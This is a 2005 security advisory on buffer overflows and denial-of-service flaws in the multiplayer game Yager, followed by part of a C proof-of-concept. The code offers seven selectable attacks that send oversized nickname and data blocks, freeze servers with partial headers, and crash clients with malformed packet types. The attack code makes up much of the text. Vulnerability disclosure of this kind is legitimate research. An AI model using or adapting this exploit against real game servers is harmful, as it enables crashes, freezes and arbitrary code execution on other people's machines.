Yager Multiple Vulnerabilities (Multiple Buffer Overflows and DoS)
17 Apr. 2005
Summary
"Yager , a futuristic aerial 3D combat/action game, puts the player in the role of Magnus Tide, a noble, experienced freelance fighter-pilot on a mission to maintain the peace and status quo of his ultramodern world. His quest leads him through a variety of combat challenges."
The game Yager contains multiple buffer overflows that allow attackers to execute arbitrary code, and also due to lack of filtering allows attackers to crash or hang the game.
Nickname Buffer Overflow:
The game is affected by a buffer-overflow in the nickname field (ID 0x1e) that allows an attacker to execute malicious code.
Data Block Buffer Overflow:
The buffer used to receive the data from the socket is 256 bytes long while the maximum size of the data block is 65536 (a 16 bit number) causing a buffer-overflow.
Freeze Caused by Incomplete Data Block:
The server and the clients connected to it can be easily freezed through the sending of incomplete data. The problem is that the game is synchronized with the receiving of the network data so it is blocked until all the expected data is received. For example, the header of the data blocks is 10 bytes long so if we send 9 or less bytes we are able to freeze the game.
Multiple Crashes Caused by Corrupted Data:
The game doesn't use enough checks to verify the correctness of the data received so is possible to cause various crashes through the usage of malformed data.
if(argc < 3) {
printf("\n"
"Usage: %s <attack> <host> [port(auto)]\n"
"\n"
"Attacks:\n"
" 1 = nickname buffer-overflow\n"
" 2 = big data buffer-overflow\n"
" 3 = freeze of server and connected clients\n"
" 4 = crash using type 0x1d (in 0x0050e970)\n"
" 5 = crash using type 0x22 (in 0x004fd2b8)\n"
" 6 = crash using type 0x24 (in 0x004fd2f5)\n"
" 7 = crash using type 0x28 (in 0x004b0f1b)\n"
"\n", argv[0]);
exit(1);
}
p = buff + 19;
port = ntohs(*(u_short *)p);
printf("\n Server port %d\n", port);
p += 2;
SHOW(" Map ");
printf(" Version %d.%d\n", p[1], p[0]);
p += 2;
SHOW(" Server name ");
p += 4;
printf(" Players %d / %d\n\n", p[1], p[0]);
peer.sin_port = htons(port);
}
attack = atoi(argv[1]);
if(attack > 7) {
fputs("\nError: you have chosen a wrong attack number\n\n", stdout);
exit(1);
}
if(attack == 1) {
yh->type = 0x1e;
memcpy(buff + HEADSZ, NICKBOF, sizeof(NICKBOF) - 1);
yh->size = sizeof(NICKBOF) - 1;
fputs("- send long data block for nickname buffer-overflow\n", stdout);
} else if(attack == 2) {
yh->type = 0x00; // almost any other type is ok
memcpy(buff + HEADSZ, PCKBOF, sizeof(PCKBOF) - 1);
yh->size = sizeof(PCKBOF) - 1;
fputs("- send long data block for packet buffer-overflow\n", stdout);
} else if(attack == 3) {
yh->type = 0x1b;
yh->size = 0;
printf("- server waits for %d bytes but we send a partial header\n", HEADSZ);
tmp %= HEADSZ;
if(tmp <= 0) tmp = 1;
SEND(buff, tmp);
fputs(" Server and connected clients should be freezed, press RETURN to stop the attack\n", stdout);
fgetc(stdin);
close(sd);
return(0);